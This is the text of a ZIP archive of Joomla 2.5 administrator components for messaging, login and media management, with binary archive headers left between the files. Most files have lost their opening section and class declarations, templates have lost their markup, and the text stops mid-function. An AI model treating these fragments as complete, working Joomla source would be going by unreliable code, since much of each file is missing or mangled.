successful, false if an error occurs. * * @since 3.1 */ public function delete(&$pks) { $pks = (array) $pks; $table = $this->getTable(); $user = JFactory::getUser(); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($table->user_id_to !== $user->id) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); return false; } } else { $this->setError($table->getError()); return false; } } return parent::delete($pks); } /** * Returns a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Message', $prefix = 'MessagesTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get a single record. * * @param integer The id of the primary key. * @return mixed Object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { if (!isset($this->item)) { if ($this->item = parent::getItem($pk)) { // Prime required properties. if (empty($this->item->message_id)) { // Prepare data for a new record. if ($replyId = $this->getState('reply.id')) { // If replying to a message, preload some data. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('subject, user_id_from'); $query->from('#__messages'); $query->where('message_id = '.(int) $replyId); $message = $db->setQuery($query)->loadObject(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } $this->item->set('user_id_to', $message->user_id_from); $re = JText::_('COM_MESSAGES_RE'); if (stripos($message->subject, $re) !== 0) { $this->item->set('subject', $re.$message->subject); } } } elseif ($this->item->user_id_to != JFactory::getUser()->id) { $this->setError(JText::_('JERROR_ALERTNOAUTHOR')); return false; } else { // Mark message read $db = $this->getDbo(); $query = $db->getQuery(true); $query->update('#__messages'); $query->set('state = 1'); $query->where('message_id = '.$this->item->message_id); $db->setQuery($query)->query(); } } // Get the user name for an existing messasge. if ($this->item->user_id_from && $fromUser = new JUser($this->item->user_id_from)) { $this->item->set('from_user_name', $fromUser->name); } } return $this->item; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_messages.message', 'message', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_messages.edit.message.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Checks that the current user matches the message recipient and calls the parent publish method * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. * * @return boolean True on success. * * @since 3.1 */ public function publish(&$pks, $value = 1) { $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Check that the recipient matches the current user foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk)) { if ($table->user_id_to !== $user->id) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } } return parent::publish($pks, $value); } /** * Method to save the form data. * * @param array The form data. * * @return boolean True on success. */ public function save($data) { $table = $this->getTable(); // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Assign empty values. if (empty($table->user_id_from)) { $table->user_id_from = JFactory::getUser()->get('id'); } if (intval($table->date_time) == 0) { $table->date_time = JFactory::getDate()->toSql(); } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Load the recipient user configuration. $model = JModelLegacy::getInstance('Config', 'MessagesModel', array('ignore_request' => true)); $model->setState('user.id', $table->user_id_to); $config = $model->getItem(); if (empty($config)) { $this->setError($model->getError()); return false; } if ($config->get('locked', false)) { $this->setError(JText::_('COM_MESSAGES_ERR_SEND_FAILED')); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } if ($config->get('mail_on_new', true)) { // Load the user details (already valid from table check). $fromUser = JUser::getInstance($table->user_id_from); $toUser = JUser::getInstance($table->user_id_to); $debug = JFactory::getConfig()->get('debug_lang'); $default_language = JComponentHelper::getParams('com_languages')->get('administrator'); $lang = JLanguage::getInstance($toUser->getParam('admin_language', $default_language), $debug); $lang->load('com_messages', JPATH_ADMINISTRATOR); $siteURL = JURI::root() . 'administrator/index.php?option=com_messages&view=message&message_id='.$table->message_id; $sitename = JFactory::getApplication()->getCfg('sitename'); $subject = sprintf ($lang->_('COM_MESSAGES_NEW_MESSAGE_ARRIVED'), $sitename); $msg = sprintf ($lang->_('COM_MESSAGES_PLEASE_LOGIN'), $siteURL); JFactory::getMailer()->sendMail($fromUser->email, $fromUser->name, $toUser->email, $subject, $msg); } return true; } } PKs>\)com_messages/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_messages/models/index.htmlnuW+A PKs>\ com_messages/models/config.phpnuW+AsetState('user.id', $user->get('id')); // Load the parameters. $params = JComponentHelper::getParams('com_messages'); $this->setState('params', $params); } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. */ public function &getItem() { // Initialise variables. $item = new JObject; $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('cfg_name, cfg_value'); $query->from('#__messages_cfg'); $query->where('user_id = '.(int) $this->getState('user.id')); $db->setQuery($query); $rows = $db->loadObjectList(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } foreach ($rows as $row) { $item->set($row->cfg_name, $row->cfg_value); } return $item; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_messages.config', 'config', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to save the form data. * * @param array The form data. * @return boolean True on success. */ public function save($data) { $db = $this->getDbo(); if ($userId = (int) $this->getState('user.id')) { $db->setQuery( 'DELETE FROM #__messages_cfg'. ' WHERE user_id = '. $userId ); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } $tuples = array(); foreach ($data as $k => $v) { $tuples[] = '('.$userId.', '.$db->Quote($k).', '.$db->Quote($v).')'; } if ($tuples) { $db->setQuery( 'INSERT INTO #__messages_cfg'. ' (user_id, cfg_name, cfg_value)'. ' VALUES '.implode(',', $tuples) ); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } } return true; } else { $this->setError('COM_MESSAGES_ERR_INVALID_USER'); return false; } } } PKs>\"E$com_messages/controllers/message.phpnuW+AsetRedirect('index.php?option=com_messages&view=message&layout=edit&reply_id='.$replyId); } else { $this->setMessage(JText::_('COM_MESSAGES_INVALID_REPLY_ID')); $this->setRedirect('index.php?option=com_messages&view=messages'); } } } PKs>\)"com_messages/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\W֙%com_messages/controllers/messages.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\x:#com_messages/controllers/config.phpnuW+AgetModel('Config', 'MessagesModel'); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Validate the posted data. $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $data = $model->validate($form, $data); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Redirect back to the main list. $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return false; } // Attempt to save the data. if (!$model->save($data)) { // Redirect back to the main list. $this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return false; } // Redirect to the list screen. $this->setMessage(JText::_('COM_MESSAGES_CONFIG_SAVED')); $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return true; } } PKs>\V#com_messages/controllers/index.htmlnuW+A PKs>\)com_messages/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_messages/tables/index.htmlnuW+A PKs>\j5 5 com_messages/tables/message.phpnuW+Auser_id_from); if (empty($user->id)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_FROM_USER')); return false; } $user = new JUser($this->user_id_to); if (empty($user->id)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_TO_USER')); return false; } if (empty($this->subject)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_SUBJECT')); return false; } if (empty($this->message)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_MESSAGE')); return false; } return true; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.6 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k.' IN ('.implode(',', $pks).')'; // Update the publishing state for rows with the given primary keys. $this->_db->setQuery( 'UPDATE '.$this->_db->quoteName($this->_tbl). ' SET '.$this->_db->quoteName('state').' = '.(int) $state . ' WHERE ('.$where.')' ); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PKs>\P=--com_messages/messages.phpnuW+Aauthorise('core.manage', 'com_messages')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Messages'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\-com_messages/messages.xmlnuW+A com_messages Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MESSAGES_XML_DESCRIPTION config.xml controller.php index.html messages.php controllers helpers models tables views language/en-GB.com_messages.ini PKs>\12com_login/controller.phpnuW+AgetModel('login'); $credentials = $model->getState('credentials'); $return = $model->getState('return'); $result = $app->login($credentials, array('action' => 'core.login.admin')); if (!($result instanceof Exception)) { $app->redirect($return); } parent::display(); } /** * Method to log out a user. * * @return void */ public function logout() { JSession::checkToken('request') or jexit(JText::_('JInvalid_Token')); $app = JFactory::getApplication(); $userid = JRequest::getInt('uid', null); $options = array( 'clientid' => ($userid) ? 0 : 1 ); $result = $app->logout($userid, $options); if (!($result instanceof Exception)) { $model = $this->getModel('login'); $return = $model->getState('return'); $app->redirect($return); } parent::display(); } } PKs>\?yycom_login/login.xmlnuW+A com_login Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_LOGIN_XML_DESCRIPTION controller.php index.html login.php views models language/en-GB.com_login.ini PKs>\r-com_login/login.phpnuW+Aexecute($task); $controller->redirect(); PKs>\)com_login/views/login/.htaccessnuW+A Order allow,deny Deny from all PKs>\V com_login/views/login/index.htmlnuW+A PKs>\Z@gg#com_login/views/login/view.html.phpnuW+A\L)&com_login/views/login/tmpl/default.phpnuW+A 'rounded', 'id' => 'section-box')); //Get any other modules in the login position. //If you want to use a different position for the modules, change the name here in your override. $modules = JModuleHelper::getModules('login'); foreach ($modules as $module) // Render the login modules if ($module->module != 'mod_login'){ echo JModuleHelper::renderModule($module, array('style' => 'rounded', 'id' => 'section-box')); } PKs>\V%com_login/views/login/tmpl/index.htmlnuW+A PKs>\)$com_login/views/login/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_login/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_login/views/index.htmlnuW+A PKs>\)com_login/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_login/models/index.htmlnuW+A PKs>\Cam@@com_login/models/login.phpnuW+A JRequest::getVar('username', '', 'method', 'username'), 'password' => JRequest::getVar('passwd', '', 'post', 'string', JREQUEST_ALLOWRAW) ); $this->setState('credentials', $credentials); // check for return URL from the request first if ($return = JRequest::getVar('return', '', 'method', 'base64')) { $return = base64_decode($return); if (!JURI::isInternal($return)) { $return = ''; } } // Set the return URL if empty. if (empty($return)) { $return = 'index.php'; } $this->setState('return', $return); } /** * Get the administrator login module by name (real, eg 'login' or folder, eg 'mod_login') * * @param string $name The name of the module * @param string $title The title of the module, optional * * @return object The Module object * * @since 11.1 */ public static function getLoginModule($name = 'mod_login', $title = null) { $result = null; $modules = LoginModelLogin::_load($name); $total = count($modules); for ($i = 0; $i < $total; $i++) { // Match the title if we're looking for a specific instance of the module if (!$title || $modules[$i]->title == $title) { $result = $modules[$i]; break; // Found it } } // If we didn't find it, and the name is mod_something, create a dummy object if (is_null($result) && substr($name, 0, 4) == 'mod_') { $result = new stdClass; $result->id = 0; $result->title = ''; $result->module = $name; $result->position = ''; $result->content = ''; $result->showtitle = 0; $result->control = ''; $result->params = ''; $result->user = 0; } return $result; } /** * Load login modules. * * Note that we load regardless of state or access level since access * for public is the only thing that makes sense since users are not logged in * and the module lets them log in. * This is put in as a failsafe to avoid super user lock out caused by an unpublished * login module or by a module set to have a viewing access level that is not Public. * * @param string $name The name of the module * * @return array * * @since 11.1 */ protected static function _load($module) { static $clean; if (isset($clean)) { return $clean; } $app = JFactory::getApplication(); $lang = JFactory::getLanguage()->getTag(); $clientId = (int) $app->getClientId(); $cache = JFactory::getCache ('com_modules', ''); $cacheid = md5(serialize(array( $clientId, $lang))); $loginmodule = array(); if (!($clean = $cache->get($cacheid))) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('m.id, m.title, m.module, m.position, m.showtitle, m.params'); $query->from('#__modules AS m'); $query->where('m.module =' . $db->Quote($module) .' AND m.client_id = 1'); $query->join('LEFT', '#__extensions AS e ON e.element = m.module AND e.client_id = m.client_id'); $query->where('e.enabled = 1'); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $query->where('m.language IN (' . $db->Quote($lang) . ',' . $db->Quote('*') . ')'); } $query->order('m.position, m.ordering'); // Set the query $db->setQuery($query); $modules = $db->loadObjectList(); if ($db->getErrorNum()){ JError::raiseWarning(500, JText::sprintf('JLIB_APPLICATION_ERROR_MODULE_LOAD', $db->getErrorMsg())); return $loginmodule; } // Return to simple indexing that matches the query order. $loginmodule = $modules; $cache->store($loginmodule, $cacheid); } return $loginmodule; } } PKs>\)com_login/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_login/index.htmlnuW+A PKs>\Vcom_media/index.htmlnuW+A PKs>\Vcom_media/views/index.htmlnuW+A PKs>\)com_media/views/media/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_media/views/media/tmpl/index.htmlnuW+A PKs>\|(.com_media/views/media/tmpl/default_folders.phpnuW+A
        folders_id; ?>> folders['children'] as $folder) : ?>
      • name; ?>getFolderLevel($folder); ?>
      PKs>\)$com_media/views/media/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\%1com_media/views/media/tmpl/default_navigation.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); ?> PKs>\SCC&com_media/views/media/tmpl/default.phpnuW+A
      loadTemplate('folders'); ?>
      authorise('core.create', 'com_media')) and $this->require_ftp): ?>
      authorise('core.create', 'com_media')): ?>
      authorise('core.create', 'com_media')):?>
      config->get('upload_maxsize')=='0' ? JText::_('COM_MEDIA_UPLOAD_FILES_NOLIMIT') : JText::sprintf('COM_MEDIA_UPLOAD_FILES', $this->config->get('upload_maxsize')); ?>
      PKs>\q #com_media/views/media/view.html.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); $document = JFactory::getDocument(); $document->setBuffer($this->loadTemplate('navigation'), 'modules', 'submenu'); JHtml::_('behavior.framework', true); JHtml::_('script', 'media/mediamanager.js', true, true); JHtml::_('stylesheet', 'media/mediamanager.css', array(), true); if ($lang->isRTL()) : JHtml::_('stylesheet', 'media/mediamanager_rtl.css', array(), true); endif; JHtml::_('behavior.modal'); $document->addScriptDeclaration(" window.addEvent('domready', function() { document.preview = SqueezeBox; });"); JHtml::_('script', 'system/mootree.js', true, true, false, false); JHtml::_('stylesheet', 'system/mootree.css', array(), true); if ($lang->isRTL()) : JHtml::_('stylesheet', 'media/mootree_rtl.css', array(), true); endif; if (DIRECTORY_SEPARATOR == '\\') { $base = str_replace(DIRECTORY_SEPARATOR, "\\\\", COM_MEDIA_BASE); } else { $base = COM_MEDIA_BASE; } $js = " var basepath = '".$base."'; var viewstyle = '".$style."'; " ; $document->addScriptDeclaration($js); /* * Display form for FTP credentials? * Don't set them here, as there are other functions called before this one if there is any file write operation */ $ftp = !JClientHelper::hasCredentials('ftp'); $session = JFactory::getSession(); $state = $this->get('state'); $this->assignRef('session', $session); $this->assignRef('config', $config); $this->assignRef('state', $state); $this->require_ftp = $ftp; $this->folders_id = ' id="media-tree"'; $this->folders = $this->get('folderTree'); // Set the toolbar $this->addToolbar(); parent::display($tpl); echo JHtml::_('behavior.keepalive'); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { // Get the toolbar object instance $bar = JToolBar::getInstance('toolbar'); $user = JFactory::getUser(); // Set the titlebar text JToolBarHelper::title(JText::_('COM_MEDIA'), 'mediamanager.png'); // Add a delete button if ($user->authorise('core.delete', 'com_media')) { $title = JText::_('JTOOLBAR_DELETE'); $dhtml = " $title"; $bar->appendButton('Custom', $dhtml, 'delete'); JToolBarHelper::divider(); } // Add a delete button if ($user->authorise('core.admin', 'com_media')) { JToolBarHelper::preferences('com_media', 450, 800, 'JToolbar_Options', '', 'window.location.reload()'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_CONTENT_MEDIA_MANAGER'); } function getFolderLevel($folder) { $this->folders_id = null; $txt = null; if (isset($folder['children']) && count($folder['children'])) { $tmp = $this->folders; $this->folders = $folder; $txt = $this->loadTemplate('folders'); $this->folders = $tmp; } return $txt; } } PKs>\V com_media/views/media/index.htmlnuW+A PKs>\V&com_media/views/images/tmpl/index.htmlnuW+A PKs>\@'com_media/views/images/tmpl/default.phpnuW+A
      folderList; ?>
      state->get('field.id')):?> state->get('field.id')):?>
      authorise('core.create', 'com_media')): ?>
      config->get('upload_maxsize')=='0' ? JText::_('COM_MEDIA_UPLOAD_FILES_NOLIMIT') : JText::sprintf('COM_MEDIA_UPLOAD_FILES', $this->config->get('upload_maxsize')); ?>
      PKs>\)%com_media/views/images/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\zh$com_media/views/images/view.html.phpnuW+AisRTL()) { JHtml::_('stylesheet', 'media/popup-imagemanager_rtl.css', array(), true); } /* * Display form for FTP credentials? * Don't set them here, as there are other functions called before this one if there is any file write operation */ $ftp = !JClientHelper::hasCredentials('ftp'); $this->session = JFactory::getSession(); $this->config = $config; $this->state = $this->get('state'); $this->folderList = $this->get('folderList'); $this->require_ftp = $ftp; parent::display($tpl); } } PKs>\) com_media/views/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_media/views/images/index.htmlnuW+A PKs>\)#com_media/views/medialist/.htaccessnuW+A Order allow,deny Deny from all PKs>\隀B 'com_media/views/medialist/view.html.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); $lang = JFactory::getLanguage(); JHtml::_('behavior.framework', true); $document = JFactory::getDocument(); $document->addStyleSheet('../media/media/css/medialist-'.$style.'.css'); if ($lang->isRTL()) : $document->addStyleSheet('../media/media/css/medialist-'.$style.'_rtl.css'); endif; $document->addScriptDeclaration(" window.addEvent('domready', function() { window.parent.document.updateUploader(); $$('a.img-preview').each(function(el) { el.addEvent('click', function(e) { new Event(e).stop(); window.top.document.preview.fromElement(el); }); }); });"); $images = $this->get('images'); $documents = $this->get('documents'); $folders = $this->get('folders'); $state = $this->get('state'); // Check for invalid folder name if (empty($state->folder)) { $dirname = JRequest::getVar('folder', '', '', 'string'); if (!empty($dirname)) { $dirname = htmlspecialchars($dirname, ENT_COMPAT, 'UTF-8'); if ($lang->hasKey('COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME')) { JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME', $dirname)); } else { JError::raiseWarning(100, sprintf('Unable to browse: %s. Directory name must only contain alphanumeric characters and no spaces.', $dirname)); } } } $this->baseURL = JURI::root(); $this->assignRef('images', $images); $this->assignRef('documents', $documents); $this->assignRef('folders', $folders); $this->assignRef('state', $state); parent::display($tpl); } function setFolder($index = 0) { if (isset($this->folders[$index])) { $this->_tmp_folder = &$this->folders[$index]; } else { $this->_tmp_folder = new JObject; } } function setImage($index = 0) { if (isset($this->images[$index])) { $this->_tmp_img = &$this->images[$index]; } else { $this->_tmp_img = new JObject; } } function setDoc($index = 0) { if (isset($this->documents[$index])) { $this->_tmp_doc = &$this->documents[$index]; } else { $this->_tmp_doc = new JObject; } } } PKs>\V$com_media/views/medialist/index.htmlnuW+A PKs>\}0com_media/views/medialist/tmpl/thumbs_folder.phpnuW+A PKs>\p88-com_media/views/medialist/tmpl/thumbs_doc.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> PKs>\ ``-com_media/views/medialist/tmpl/thumbs_img.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> PKs>\1XX.com_media/views/medialist/tmpl/details_doc.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> _tmp_doc->icon_16, $this->_tmp_doc->title, null, true, true) ? JHtml::_('image', $this->_tmp_doc->icon_16, $this->_tmp_doc->title, array('width' => 16, 'height' => 16), true) : JHtml::_('image', 'media/con_info.png', $this->_tmp_doc->title, array('width' => 16, 'height' => 16), true);?> _tmp_doc->title; ?>   _tmp_doc->size); ?> authorise('core.delete', 'com_media')):?> 16, 'height' => 16, 'border' => 0), true);?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_doc, &$params)); ?> PKs>\uTjQQ.com_media/views/medialist/tmpl/details_img.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> _tmp_img->path_relative, JText::sprintf('COM_MEDIA_IMAGE_TITLE', $this->_tmp_img->title, MediaHelper::parseSize($this->_tmp_img->size)), array('width' => $this->_tmp_img->width_16, 'height' => $this->_tmp_img->height_16)); ?> escape($this->_tmp_img->title); ?> _tmp_img->width, $this->_tmp_img->height); ?> _tmp_img->size); ?> authorise('core.delete', 'com_media')):?> 16, 'height' => 16), true); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> PKs>\\-com_media/views/medialist/tmpl/details_up.phpnuW+A 16, 'height' => 16), true); ?> ..     authorise('core.delete', 'com_media')):?>   PKs>\V)com_media/views/medialist/tmpl/index.htmlnuW+A PKs>\Rff1com_media/views/medialist/tmpl/details_folder.phpnuW+A _tmp_folder->name, array('width' => 16, 'height' => 16), true); ?> _tmp_folder->name; ?>     authorise('core.delete', 'com_media')):?> 16, 'height' => 16), true); ?> PKs>\)(com_media/views/medialist/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\R/,com_media/views/medialist/tmpl/thumbs_up.phpnuW+A PKs>\Q,*com_media/views/medialist/tmpl/details.phpnuW+A
      authorise('core.delete', 'com_media')):?> loadTemplate('up'); ?> folders); $i<$n; $i++) : $this->setFolder($i); echo $this->loadTemplate('folder'); endfor; ?> documents); $i<$n; $i++) : $this->setDoc($i); echo $this->loadTemplate('doc'); endfor; ?> images); $i<$n; $i++) : $this->setImage($i); echo $this->loadTemplate('img'); endfor; ?>
      PKs>\ɳ||)com_media/views/medialist/tmpl/thumbs.phpnuW+A
      loadTemplate('up'); ?> folders); $i<$n; $i++) : $this->setFolder($i); echo $this->loadTemplate('folder'); endfor; ?> documents); $i<$n; $i++) : $this->setDoc($i); echo $this->loadTemplate('doc'); endfor; ?> images); $i<$n; $i++) : $this->setImage($i); echo $this->loadTemplate('img'); endfor; ?>
      PKs>\FH*com_media/views/medialist/tmpl/default.phpnuW+A\)com_media/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\/r](com_media/views/imageslist/view.html.phpnuW+AisRTL()) : JHtml::_('stylesheet', 'media/popup-imagelist_rtl.css', array(), true); endif; $document = JFactory::getDocument(); $document->addScriptDeclaration("var ImageManager = window.parent.ImageManager;"); $images = $this->get('images'); $folders = $this->get('folders'); $state = $this->get('state'); $this->baseURL = COM_MEDIA_BASEURL; $this->assignRef('images', $images); $this->assignRef('folders', $folders); $this->assignRef('state', $state); parent::display($tpl); } function setFolder($index = 0) { if (isset($this->folders[$index])) { $this->_tmp_folder = &$this->folders[$index]; } else { $this->_tmp_folder = new JObject; } } function setImage($index = 0) { if (isset($this->images[$index])) { $this->_tmp_img = &$this->images[$index]; } else { $this->_tmp_img = new JObject; } } } PKs>\)$com_media/views/imageslist/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_media/views/imageslist/index.htmlnuW+A PKs>\Ekk1com_media/views/imageslist/tmpl/default_image.phpnuW+Atrigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_img, &$params)); ?> PKs>\))com_media/views/imageslist/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_media/views/imageslist/tmpl/index.htmlnuW+A PKs>\&+com_media/views/imageslist/tmpl/default.phpnuW+A images) > 0 || count($this->folders) > 0) { ?>
      folders); $i<$n; $i++) : $this->setFolder($i); echo $this->loadTemplate('folder'); endfor; ?> images); $i<$n; $i++) : $this->setImage($i); echo $this->loadTemplate('image'); endfor; ?>

      PKs>\12com_media/views/imageslist/tmpl/default_folder.phpnuW+A PKs>\Vcom_media/access.xmlnuW+A
      PKs>\)com_media/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\) com_media/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_media/models/forms/index.htmlnuW+A PKs>\+66com_media/models/list.phpnuW+AsetState('folder', $folder); $parent = str_replace("\\", "/", dirname($folder)); $parent = ($parent == '.') ? null : $parent; $this->setState('parent', $parent); $set = true; } return parent::getState($property, $default); } function getImages() { $list = $this->getList(); return $list['images']; } function getFolders() { $list = $this->getList(); return $list['folders']; } function getDocuments() { $list = $this->getList(); return $list['docs']; } /** * Build imagelist * * @param string $listFolder The image directory to display * @since 1.5 */ function getList() { static $list; // Only process the list once per request if (is_array($list)) { return $list; } // Get current path from request $current = $this->getState('folder'); // If undefined, set to empty if ($current == 'undefined') { $current = ''; } // Initialise variables. if (strlen($current) > 0) { $basePath = COM_MEDIA_BASE.'/'.$current; } else { $basePath = COM_MEDIA_BASE; } $mediaBase = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE.'/'); $images = array (); $folders = array (); $docs = array (); $fileList = false; $folderList = false; if (file_exists($basePath)) { // Get the list of files and folders from the given folder $fileList = JFolder::files($basePath); $folderList = JFolder::folders($basePath); } // Iterate over the files if they exist if ($fileList !== false) { foreach ($fileList as $file) { if (is_file($basePath.'/'.$file) && substr($file, 0, 1) != '.' && strtolower($file) !== 'index.html') { $tmp = new JObject(); $tmp->name = $file; $tmp->title = $file; $tmp->path = str_replace(DIRECTORY_SEPARATOR, '/', JPath::clean($basePath . '/' . $file)); $tmp->path_relative = str_replace($mediaBase, '', $tmp->path); $tmp->size = filesize($tmp->path); $ext = strtolower(JFile::getExt($file)); switch ($ext) { // Image case 'jpg': case 'png': case 'gif': case 'xcf': case 'odg': case 'bmp': case 'jpeg': case 'ico': $info = @getimagesize($tmp->path); $tmp->width = @$info[0]; $tmp->height = @$info[1]; $tmp->type = @$info[2]; $tmp->mime = @$info['mime']; if (($info[0] > 60) || ($info[1] > 60)) { $dimensions = MediaHelper::imageResize($info[0], $info[1], 60); $tmp->width_60 = $dimensions[0]; $tmp->height_60 = $dimensions[1]; } else { $tmp->width_60 = $tmp->width; $tmp->height_60 = $tmp->height; } if (($info[0] > 16) || ($info[1] > 16)) { $dimensions = MediaHelper::imageResize($info[0], $info[1], 16); $tmp->width_16 = $dimensions[0]; $tmp->height_16 = $dimensions[1]; } else { $tmp->width_16 = $tmp->width; $tmp->height_16 = $tmp->height; } $images[] = $tmp; break; // Non-image document default: $tmp->icon_32 = "media/mime-icon-32/".$ext.".png"; $tmp->icon_16 = "media/mime-icon-16/".$ext.".png"; $docs[] = $tmp; break; } } } } // Iterate over the folders if they exist if ($folderList !== false) { foreach ($folderList as $folder) { $tmp = new JObject(); $tmp->name = basename($folder); $tmp->path = str_replace(DIRECTORY_SEPARATOR, '/', JPath::clean($basePath . '/' . $folder)); $tmp->path_relative = str_replace($mediaBase, '', $tmp->path); $count = 